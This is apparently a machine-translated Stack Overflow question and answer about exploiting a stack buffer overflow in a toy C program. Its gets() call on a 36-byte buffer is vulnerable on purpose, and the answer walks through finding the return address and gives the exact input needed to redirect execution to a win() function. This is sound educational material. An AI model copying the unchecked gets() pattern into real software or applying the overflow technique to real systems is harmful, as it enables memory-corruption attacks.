#c #gdb #stack-overflow #buffer-overflow
#c #gdb #переполнение стека #переполнение буфера
Вопрос:
Итак, я пытаюсь выполнить переполнение буфера на основе стека в этом коде:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void win()
{
printf("well done!");
}
void vulnfunc(){
char buffer[36];
gets(buffer);
printf("Buffer contents are %sn",buffer);
}
int main(int argc,char**argv){
vulnfunc();
}
Поэтому я переписал EIP на 44 байта (36 байт буфера и дополнительные 8 байт). Затем я получил адрес функции win, изменил его с 0x53e58955
на соответствующий примерно так
x55x89xe5x53
Когда я объединяю две строки вместе в качестве входных данных, это все равно не вызывает win()
функцию. Я пробовал добавлять "BBBB"
в качестве дополнения для заполнения ebp, но и там мне не повезло. Если бы кто-нибудь мог дать какой-нибудь совет, я был бы очень признателен.
Он работает на Ubuntu, x86_64
Комментарии:
1.
0x53e58955
Ваш адрес считываетсяwin()
из файла mapfile?2. @RobertoCaboni Я получил адрес с помощью команды x.
x win
.3. Когда я печатаю строку, в которую я ввел эти 16 байт с консоли, она выводит
x55x89xe5x53
именно то, что я ввел. НетU..S
(два не-ASCII в середине).4. Является ли целью этого показать, что gets() рискованно использовать?
5. @RobertoCaboni это то, что я имел в виду, и это все: вы должны вставить фактические символы (ваши
0§@
и0
). Коды escape, которые интерпретирует компилятор, бесполезны, введенные пользователем в виде строки.
Ответ №1:
Я воспроизвел эксплойт в Windows. Поскольку система и консоль могут отличаться, я объясню процедуру, а не исходный код. По этой причине это будет не решение с копированием и вставкой, а решение с копированием процедуры для получения аналогичного результата.
Прежде всего, я хотел выяснить структуру стека. Итак, я выполнил следующее измененное vulnfunc()
:
void vulnfunc(){
char buffer[36];
printf("win(): 0x%pn", win);
printf("vulnfunc(): 0x%pn", vulnfunc);
printf("main(): 0x%pn", main);
printf("printf(): 0x%pn", printf);
printf( "0xX X X Xn",
(int) *((int*)amp;buffer[36]), (int) *((int*)amp;buffer[40]),
(int) *((int*)amp;buffer[44]), (int) *((int*)amp;buffer[48]));
printf( "0xX X X Xn",
(int) *((int*)amp;buffer[52]), (int) *((int*)amp;buffer[56]),
(int) *((int*)amp;buffer[60]), (int) *((int*)amp;buffer[64]) );
printf( "0xX X X Xn",
(int) *((int*)amp;buffer[68]), (int) *((int*)amp;buffer[72]),
(int) *((int*)amp;buffer[76]), (int) *((int*)amp;buffer[80]) );
gets(buffer);
}
Как вы можете видеть, я напечатал win()
адрес вместе со всеми другими соответствующими функциями, включая main
и printf
также. Затем я напечатал соответствующую часть стека (48 байт) после буфера array
.
Я получил следующий вывод:
win(): 0x0000000000401530
vulnfunc(): 0x000000000040154B
main(): 0x00000000004016D9
printf(): 0x0000000000402C98
0xFFFFFFFF 00000008 00000000 0062FE20
0x00000000 004016F2 00000000 00000000
0x00000000 00000008 00000000 00000000
Адреса функций полезны, потому что мне нужен обратный адрес внутри main()
(address 0x00000000004016D9
) . Кандидат, конечно 004016F2
.
Итак, мне нужно вставить достаточное количество символов, gets()
чтобы добраться до нужного адреса. Нам нужно ровно вставить 24 символа, которые находятся от байта 21 до байта 24 за пределами конца buffer
массива, содержащего адрес. Значение предшествующих им 20 байтов не имеет значения, поэтому я вставляю случайные символы ASCII.
Результат является ожидаемым:
win(): 0x0000000000401530
vulnfunc(): 0x000000000040154B
main(): 0x00000000004016D9
printf(): 0x0000000000402C98
0xFFFFFFFF 00000008 00000000 0062FE20
0x00000000 004016F2 00000000 00000000
0x00000000 00000008 00000000 00000000
123456789012345678901234567890123456AAAABBBBCCCCDDDDEEEE0§@
Buffer contents are 123456789012345678901234567890123456AAAABBBBCCCCDDDDEEEE0@
well done!
<crash>
Пожалуйста, обратите внимание, как:
"123456789012345678901234567890123456"
являются ли 36 символов, занимающих «законную» область массива"AAAABBBBCCCCDDDDEEEE"
это 20 символов «заполнения», просто чтобы добраться до нужного местоположения стека- введенный адрес равен
0§@
(0x30
,0x15
и0x40
), а заполненный строковый ограничительgets()
предоставляет недостающие0x00
Как и ожидалось win()
, функция выполняется; после этого происходит сбой, потому что после возврата из него стек не содержал правильного адреса возврата main()
(он поврежден).
В Ubuntu у вас, вероятно, будет другая конфигурация стека, но очень похожим образом вы можете узнать, как выполнить желаемый эксплойт.
Комментарии:
1. Большое спасибо за такой подробный ответ, но я все еще в замешательстве. Как вы заставили ее переполниться всего 6 байтами?
2. @Fiachoneill В моем ответе (для ленивости) Я переписал из кода правильный адрес стека: 4 байта должны быть записаны на 20 байт дальше конца буфера.
3. @FiachONeill Я отредактировал свой вопрос, выполнив эксплойт из
gets()
входных данных, как вы просили. Я уверен, что вы сможете достичь той же цели в Ubuntu.4. просто понял! Спасибо!